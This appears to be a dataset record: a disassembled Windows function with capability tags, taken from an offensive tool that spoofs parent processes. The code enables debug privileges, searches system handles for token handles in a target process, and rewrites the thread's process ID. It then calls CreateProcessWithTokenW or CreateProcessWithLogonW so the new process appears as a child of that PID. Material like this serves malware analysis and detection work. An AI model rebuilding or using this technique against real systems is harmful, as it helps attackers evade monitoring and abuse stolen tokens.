Function at 0x1400018d0
Capabilities:
Acquire debug privileges
Create process on windows
Create process suspended

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r13
push r14
push r15
lea rbp, [rsp - 0x10020]
mov eax, 0x10120
call fcn.140018070
sub rsp, rax
mov rax, qword [0x140025008]
xor rax, rsp
mov qword [rbp + 0x10010], rax
xor esi, esi
mov r14d, ecx
mov edi, esi
mov qword [rsp + 0x68], rsi
mov r15, rdx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x68]
mov edx, 0xf01ff
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov rcx, qword [rsp + 0x68]
lea rdx, str.SeDebugPrivilege
call fcn.1400014f0
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x68], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov rdx, qword gs:[0x30]
xorps xmm1, xmm1
mov r13d, eax
xorps xmm0, xmm0
xor eax, eax
mov qword [rdx + 0x40], r14
mov qword [rdx + 0x48], r13
movups xmmword [rbp - 0x78], xmm0
mov qword [rbp - 0x68], rax
movups xmmword [rbp - 0x60], xmm1
mov qword [rbp], rax
movups xmmword [rbp - 0x50], xmm1
mov qword [rsp + 0x70], rsi
movups xmmword [rbp - 0x40], xmm1
movups xmmword [rbp - 0x30], xmm1
movups xmmword [rbp - 0x20], xmm1
movups xmmword [rbp - 0x10], xmm1
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x70]
mov edx, 0xf01ff
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov rcx, qword [rsp + 0x70]
lea rdx, str.SeImpersonatePrivilege
call fcn.1400014f0
mov rcx, qword [rsp + 0x70]
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
je 0x140001b53
lea rax, str.Token
mov dword [rsp + 0x78], 0xc000a
lea rdx, [rsp + 0x60]
mov qword [rbp - 0x80], rax
lea rcx, [rsp + 0x78]
mov ebx, 0x10000
call fcn.140001610
test eax, eax
js 0x140001c0c
lea rcx, str.ntdll.dll
mov qword [rsp + 0x10170], r12
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rcx, rax
lea rdx, str.NtQuerySystemInformation
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, ebx
mov r12, rax
call fcn.14000ba1c
xor r9d, r9d
mov r8d, ebx
mov rdx, rax
mov rsi, rax
lea ecx, [r9 + 0x10]
call r12
cmp eax, 0xc0000004
jne 0x140001a7a
lea ecx, [rbx + rbx]
mov ebx, ecx
mov edx, ecx
mov rcx, rsi
call fcn.1400077a8
xor r9d, r9d
mov r8d, ebx
mov rdx, rax
mov rsi, rax
lea ecx, [r9 + 0x10]
call r12
cmp eax, 0xc0000004
je 0x140001a51
mov ecx, dword [rsi]
mov r12, qword [rsp + 0x10170]
test ecx, ecx
je 0x140001abc
mov r9d, dword [rsp + 0x60]
lea rax, [rsi + 8]
mov r8d, ecx
movzx ecx, byte [rax + 4]
cmp ecx, r9d
jne 0x140001ab2
movzx ecx, word [rax]
cmp ecx, r14d
jne 0x140001ab2
movzx edx, word [rax + 6]
mov ecx, edi
inc edi
mov qword [rbp + rcx*8 + 0x10], rdx
add rax, 0x18
sub r8, 1
jne 0x140001a94
mov rcx, rsi
call fcn.14000ba08
cmp edi, 1
jae 0x140001adf
mov edx, r14d
lea rcx, str.No_token_handles_found_in_process__d__cant_use_CreateProcessWithToken__._Reverting_to_CreateProcessWithLogon__..._n
call fcn.140001010
xor esi, esi
jmp 0x140001b5f
xor ecx, ecx
lea rsi, [rbp + 0x10]
mov ebx, ecx
nop word [rax + rax]
lea rax, [rbp - 0x78]
mov r9, r15
mov qword [rsp + 0x40], rax
xor r8d, r8d
lea rax, [rbp - 0x60]
xor edx, edx
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ecx
mov rcx, qword [rsi]
call qword [sym.imp.ADVAPI32.dll_CreateProcessWithTokenW]
test eax, eax
jne 0x140001b4a
inc ebx
add rsi, 8
mov ecx, eax
cmp ebx, edi
jb 0x140001af0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.CreateProcessWithTokenW___failed_with_error_code__d__n
call fcn.140001010
jmp 0x140001bd6
lea rcx, str.Spoofed_process__S_created_correctly_as_child_of_PID__d_using_CreateProcessWithTokenW___
jmp 0x140001bcb
lea rcx, str.Impersonation_privileges_not_available__cant_use_CreateProcessWithToken__._Reverting_to_CreateProcessWithLogon__..._n
call fcn.140001010
lea rax, [rbp - 0x78]
mov r9d, 2
mov qword [rsp + 0x50], rax
lea r8, str.MalseclogonPwd
lea rax, [rbp - 0x60]
mov qword [rsp + 0x48], rax
lea rdx, str.MalseclogonDomain
mov qword [rsp + 0x40], rsi
lea rcx, str.MalseclogonUser
mov qword [rsp + 0x38], rsi
mov dword [rsp + 0x30], esi
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], rsi
call qword [sym.imp.ADVAPI32.dll_CreateProcessWithLogonW]
test eax, eax
jne 0x140001bc4
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.CreateProcessWithLogonW___failed_with_error_code__d__n
call fcn.140001010
jmp 0x140001bd6
lea rcx, str.Spoofed_process__S_created_correctly_as_child_of_PID__d_using_CreateProcessWithLogonW___
mov r8d, r14d
mov rdx, r15
call fcn.140001010
mov rcx, qword gs:[0x30]
mov eax, dword [rsp + 0x68]
mov qword [rcx + 0x40], rax
mov qword [rcx + 0x48], r13
mov rcx, qword [rbp + 0x10010]
xor rcx, rsp
call fcn.140002e40
add rsp, 0x10120
pop r15
pop r14
pop r13
pop rdi
pop rsi
pop rbx
pop rbp
ret
mov edx, eax
lea rcx, str.GetTypeIndexByName_failed_0x_08x_n
call fcn.140001010
mov ecx, 0xffffffff
call fcn.140006cd4
int3